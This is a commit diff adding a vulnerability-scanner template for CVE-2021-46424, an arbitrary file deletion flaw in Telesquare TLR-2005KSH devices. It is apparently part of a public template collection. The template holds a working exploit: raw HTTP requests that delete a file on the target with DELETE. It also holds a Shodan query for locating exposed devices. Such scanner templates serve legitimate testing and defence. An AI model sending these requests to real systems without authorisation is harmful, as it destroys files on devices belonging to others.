Merge pull request #4416 from gy741/rule-add-v110

Create CVE-2021-46424.yaml

cves/2021/CVE-2021-46424.yaml

@@ -0,0 +1,40 @@
+id: CVE-2021-46424
+
+info:
+  name: TLR-2005KSH - Arbitrary File Delete
+  author: gy741
+  severity: critical
+  description: Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request.
+  reference:
+    - https://dl.packetstormsecurity.net/2205-exploits/tlr2005ksh-filedelete.txt
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-46424
+  classification:
+    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 9.1
+    cve-id: CVE-2021-46424
+    cwe-id: CWE-306
+  metadata:
+    verified: true
+    shodan-query: http.html:"TLR-2005KSH"
+  tags: cve,cve2021,telesquare,intrusive
+
+requests:
+  - raw:
+      - |
+        GET /images/icons_title.gif HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        DELETE /images/icons_title.gif HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /images/icons_title.gif HTTP/1.1
+        Host: {{Hostname}}
+
+    req-condition: true
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code_1 == 200 && status_code_2 == 204 && status_code_3 == 404"